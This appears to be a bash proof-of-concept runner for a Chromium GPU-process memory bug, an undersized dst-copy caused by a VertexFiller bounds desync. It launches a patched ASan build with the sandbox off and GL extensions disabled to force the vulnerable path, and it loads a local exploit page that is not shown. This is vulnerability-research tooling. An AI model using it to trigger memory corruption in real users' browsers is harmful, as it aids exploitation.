#!/bin/bash
# POC runner for VertexFiller creationBounds/leftTop desync -> undersized
# kApprox dst-copy in the GPU process.
#
# Requires: chromium-changes.patch applied + rebuilt.
#
# --disable-gl-extensions reproduces the GPU-cap profile of ANGLE-D3D11
# (Windows) / GL-ES2 drivers, where the dst-copy fallback path is taken.
# It does not bypass any security check; it selects an existing code path
# that runs on real shipping configurations.

set -e
SRC=${CHROMIUM_SRC:-/chromium/chromium/src}
HERE="$(cd "$(dirname "$0")" && pwd)"
PROFILE=/tmp/chrome-poc-profile

rm -rf "$PROFILE"
python3 "$HERE/server.py" 8080 &
SRV=$!
trap "kill $SRV 2>/dev/null" EXIT
sleep 1

POC_SLUG_DESYNC=1 timeout 25 "$SRC/out/asan/chrome" \
  --no-sandbox --no-first-run --no-default-browser-check \
  --ozone-platform=headless --ozone-override-screen-size=1024,768 \
  --user-data-dir="$PROFILE" \
  --use-gl=angle --use-angle=swiftshader \
  --enable-gpu-rasterization \
  --disable-features=SkiaGraphite \
  --disable-gl-extensions="GL_NV_texture_barrier GL_ARB_texture_barrier GL_KHR_blend_equation_advanced GL_KHR_blend_equation_advanced_coherent GL_NV_blend_equation_advanced GL_NV_blend_equation_advanced_coherent GL_EXT_shader_framebuffer_fetch GL_NV_shader_framebuffer_fetch GL_ARM_shader_framebuffer_fetch GL_EXT_shader_framebuffer_fetch_non_coherent" \
  --enable-logging=stderr \
  http://127.0.0.1:8080/poc.html 2>&1 | grep -E '\[POC\]'
